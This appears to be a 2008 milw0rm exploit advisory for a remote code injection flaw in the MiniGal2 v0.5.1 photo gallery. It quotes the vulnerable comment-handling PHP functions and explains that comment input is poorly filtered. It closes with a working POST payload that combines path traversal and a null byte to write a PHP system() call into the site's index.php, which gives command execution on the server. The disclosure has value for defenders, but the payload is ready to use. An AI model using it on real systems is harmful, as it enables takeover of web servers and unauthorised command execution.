73 lines
No EOL
3.3 KiB
Text
73 lines
No EOL
3.3 KiB
Text
<?php
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/**********000000000000----------------------000\\\
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/*-00--------++++++++++++++++++_______________)_)_________
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-- --
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- MiniGal2(MG2) v0.5.1 remote Code Injection |
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___ Z okazji urodzin ¿yczê sobie wszystkiego zajebistego
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Zawsze na odwrót lol '''''_---"
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___)()())0 ------------
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\ A-L | """"""
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'--==9** Victoria heh .
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------ gr:SID.PSYCHO ;> and rest and ALL
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---------++++++++++++=================))
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___ -- =======--
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./..................
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=======--////-
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VULN:[includes\mg2_functions.php]
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function writecomments($filename) __LINE 555
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---------
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function writecomments($filename) {
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$filename = "pictures/" . $filename;
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unset($buffer);
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if (count($this->comments) != 0) {
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for ($i=0; $i < count($this->comments); $i++){
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for ($j=0; $j < count($this->comments[$i]); $j++){
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$buffer .= "*" . $this->comments[$i][$j];
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}
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$buffer .= "\n";
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$fd = fopen($filename,"w+");
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if (flock($fd, LOCK_EX)) { // do an exclusive lock
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ftruncate($fd, 0);
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fwrite($fd, $buffer);
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flock($fd, LOCK_UN); // release the lock
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fclose($fd);
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$this->log("Wrote comment to '$filename'");
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} else {
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$this->log("ERROR: Could not lock commentfile '$filename' for writing");
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echo "MG2 ERROR: Could not lock $filename (function 'writecomments')";
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}
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}
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} else unlink($filename);
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}
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/\/\/\/\/\/\/\/\/\/\/\
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function addcomment() {
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$_REQUEST['filename'] = $this->charfix($_REQUEST['filename']);
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$_REQUEST['input'] = $this->charfix($_REQUEST['input']);
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$_REQUEST['email'] = $this->charfix($_REQUEST['email']);
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$_REQUEST['name'] = $this->charfix($_REQUEST['name']);
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$_REQUEST['input'] = strip_tags($_REQUEST['input'], "<b></b><i></i><u></u><strong></strong><em></em>");
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$_REQUEST['input'] = str_replace("\n","<br />",$_REQUEST['input']);
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$_REQUEST['input'] = str_replace("\r","",$_REQUEST['input']);
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if ($_REQUEST['input'] != "" && $_REQUEST['name'] != "" && $_REQUEST['email'] != "") {
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$this->readcomments("pictures/" . $_REQUEST['filename'] . ".comment");
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$comment_exists = $this->select($_REQUEST['input'],$this->comments,3,1,0);
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$comment_exists = $this->select($_REQUEST['name'],$comment_exists,1,1,0);
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$comment_exists = $this->select($_REQUEST['email'],$comment_exists,2,1,0);
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if (count($comment_exists) == 0) {
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$this->comments[] = array(time(), $_REQUEST['name'], $_REQUEST['email'], $_REQUEST['input']);
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$this->writecomments($_REQUEST['filename'] . ".comment");
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.....etc //
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................-------------------------------------------=====================
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==== As you can se THE input data is not enough filtered
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We can write self code in to the file
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by sending proper POSTS
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ex:
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POST input=a&name=/ <?php system('dir'); ?> // &email=c&action=addcomment&filename=../index.php%00&id=5
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THE END
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-------*/
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// ALFONS LUJA just 4 fUn :P
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?>
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# milw0rm.com [2008-12-08] |